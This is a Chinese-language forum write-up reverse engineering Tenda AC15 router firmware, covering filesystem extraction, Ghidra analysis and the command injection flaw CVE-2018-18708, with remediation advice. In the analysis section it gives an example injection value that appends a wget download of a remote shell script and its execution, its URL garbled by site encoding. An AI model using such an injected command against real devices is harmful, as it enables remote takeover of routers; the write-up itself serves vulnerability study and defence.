-
-
[原创]Tenda AC15 固件逆向分析:从解包到命令注入漏洞挖掘
-
发表于: 2天前 550
-
一、前言
Tenda AC15 是一款家用双频千兆路由器,在 2018 年被曝出存在命令注入漏洞 CVE-2018-18708。攻击者可以通过精心构造的 HTTP POST 请求,在路由器上执行任意系统命令,从而完全控制设备。
本文记录了我对 Tenda AC15 固件(版本 V15.03.05.19)的完整逆向分析过程,包括:
- 固件解包与文件系统提取
- 目标程序定位与识别
- 静态分析挖掘漏洞点
- 漏洞原理分析与安全建议
希望通过这篇文章,为 IoT 固件安全研究感兴趣的读者提供一个可复现的入门案例。
二、固件解包
## 0x02 固件解包与文件系统提取
2.1 准备工作
分析环境:Ubuntu 22.04 LTS
安装必要工具:
```bash
sudo apt update
sudo apt install binwalk squashfs-tools -y
2.2 扫描固件结构
使用 binwalk 扫描固件,查看内部结构:
binwalk US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
扫描结果如下:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
64 0x40 TRX firmware header
92 0x5C LZMA compressed data
1875608 0x1C9E98 Squashfs filesystem, version 4.0, compression:xz
从输出可以看到,Squashfs 文件系统从偏移量 0x1C9E98(即十进制的 1875608)开始。
2.3 手工提取文件系统
由于 binwalk 自动提取遇到权限问题,我们使用 dd 命令手工提取:
dd if=US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin of=squashfs.bin bs=1 skip=1875608
提取成功后,创建挂载点并挂载:
mkdir squashfs-root
sudo mount -t squashfs squashfs.bin squashfs-root/ -o loop
挂载后,可以看到路由器的完整文件系统目录结构:
ls -la squashfs-root/
输出如下:
drwxr-xr-x 2 root root 2046 bin
drwxr-xr-x 2 root root 3 cfg
drwxr-xr-x 2 root root 56 dev
lrwxrwxrwx 1 root root 8 etc -> /var/etc
drwxr-xr-x 8 root root 462 etc_ro
drwxr-xr-x 3 root root 939 lib
drwxr-xr-x 2 root root 3 proc
drwxr-xr-x 2 root root 393 sbin
drwxr-xr-x 6 root root 85 usr
drwxr-xr-x 6 root root 65 var
lrwxrwxrwx 1 root root 11 webroot -> var/webroot
drwxr-xr-x 8 root root 1681 webroot_ro
这是一个典型的嵌入式 Linux 文件系统,其中 /bin、/sbin 存放系统程序,/webroot_ro 存放 Web 管理界面文件
---
## 三、定位 Web 服务程序(可直接复制)
```markdown
## 0x03 定位 Web 服务程序
### 3.1 搜索 httpd
路由器的 Web 管理界面通常由 `httpd` 或 `goahead` 提供服务。在文件系统中搜索:
```bash
find squashfs-root/ -name "*httpd*" -type f
找到目标程序:
squashfs-root/bin/httpd
squashfs-root/bin/dhttpd
3.2 确认程序架构
使用 file 命令查看 httpd 的文件信息:
file squashfs-root/bin/httpd
输出如下:
httpd: ELF 32-bit LSB executable, ARM, dynamically linked, stripped
关键信息:
- ARM 32-bit:ARM 架构 32 位程序
- stripped:符号表已去除(逆向时需要注意)
- dynamically linked:动态链接,依赖系统的共享库
确认架构后,将 httpd 复制出来,准备用 Ghidra 进行静态分析。
---
## 四、Ghidra 静态分析与漏洞发现(可直接复制)
```markdown
## 0x04 Ghidra 静态分析
### 4.1 导入文件
启动 Ghidra,创建新项目 `Tenda_AC15`,导入 `httpd` 文件。分析完成后,打开字符串窗口。
### 4.2 发现关键字符串
在字符串窗口中搜索 `cmd` 和 `system`,发现多个可疑字符串:
| 字符串 | 含义 |
|--------|------|
| `doSystemCmd` | 执行系统命令的函数名 |
| `cmdinput` | 用户输入的参数名 |
| `system` | C 库函数,用于执行命令 |
| `strcpy` | 不安全的字符串拷贝函数 |
这些字符串的存在,暗示程序可能存在命令注入或缓冲区溢出漏洞。
### 4.3 交叉引用分析
对 `cmdinput` 进行交叉引用分析,发现它被函数 `FUN_0007b8e4` 引用。该函数中调用了 `strcpy`,且没有长度检查。
```c
strcpy(dest, source); // 危险!没有长度限制
4.4 漏洞定位
结合公开漏洞报告 CVE-2018-18708,确认漏洞位于 formSetSpeedWan 函数中。该函数从用户请求中获取 list 参数,直接拼接到命令字符串中,然后调用 doSystemCmd 执行。
漏洞代码逻辑如下:
void formSetSpeedWan(char *list) {
char command[256];
sprintf(command, "iptables -t %s", list); // 直接拼接用户输入
doSystemCmd(command); // 执行系统命令
}
攻击者可以构造恶意 list 参数,如 "filter; wget a2eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2$3K9h3I4Q4x3X3g2U0L8$3#2Q4x3V1k6K6K9r3g2D9L8q4)9J5k6i4y4Z5i4K6y4n7 sh shell.sh",从而在路由器上执行任意命令。
---
## 五、漏洞原理与安全建议(可直接复制)
```markdown
## 0x05 漏洞原理与安全建议
### 5.1 漏洞根源
该命令注入漏洞的根本原因在于:
1. **未对用户输入进行任何过滤**:`list` 参数直接来自 HTTP 请求,没有检查是否包含危险字符(如 `;`、`|`、`&`、`$` 等)
2. **使用危险的命令执行函数**:`doSystemCmd` 内部调用了 `system()`,会启动 shell 解释命令
3. **字符串拼接不安全**:使用 `sprintf` 而非 `snprintf`,未限制输出长度
### 5.2 为什么危险函数应该被替代?
| 危险函数 | 问题 | 安全替代 |
|----------|------|----------|
| `system()` | 调用 shell,可执行多条命令 | `execve()` / `posix_spawn()` |
| `strcpy()` | 不检查缓冲区大小 | `strlcpy()` / `strncpy()` |
| `sprintf()` | 不检查输出大小 | `snprintf()` |
### 5.3 安全编码建议
对于嵌入式设备开发,应遵循以下原则:
1. **永远不要信任用户输入**:所有外部输入必须经过严格过滤
2. **避免使用 `system()`**:改用 `execve()` 直接执行特定程序
3. **使用安全的字符串函数**:`snprintf`、`strncpy`、`strlcat` 等
4. **输入过滤白名单**:只允许预期内的字符(如数字、字母),拒绝特殊字符
```c
// ✅ 安全的写法示例
char command[256];
snprintf(command, sizeof(command), "ping -c 4 %s", sanitized_input);
// 使用 execve 而不是 system
5.4 修复方案
Tenda 已在后续固件版本中修复该漏洞。建议用户升级到最新固件,并限制管理端口的访问来源。
---
## 六、总结
```markdown
## 0x06 总结
本文完整记录了 Tenda AC15 固件逆向分析的整个过程:
1. ✅ 搭建 Ubuntu 22.04 分析环境
2. ✅ 使用 binwalk 扫描并提取 Squashfs 文件系统
3. ✅ 定位 Web 服务程序 `/bin/httpd`,确认 ARM 架构
4. ✅ 使用 Ghidra 进行静态分析
5. ✅ 发现 `system`、`cmdinput`、`doSystemCmd` 等关键字符串
6. ✅ 结合 CVE 报告确认命令注入漏洞
通过这次实践,我们不仅复现了一个真实的 IoT 设备漏洞,也掌握了固件逆向分析的基本方法。希望本文能为物联网安全爱好者提供一个可复现的入门案例。
**下一步方向**:
- 编写漏洞利用脚本(PoC)
- 使用 QEMU 模拟运行 httpd 进行动态调试
- 探索更多 Tenda 系列设备的漏洞
代码已经上传:dengchaohui/tenda-ac15-reverse: Tenda AC15 固件逆向分析(第一篇):从解包到命令注入漏洞挖掘
以上技术能力可转化为以下服务:固件提取、设备维修、功能定制、竞品分析。如有需求,请联系
[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。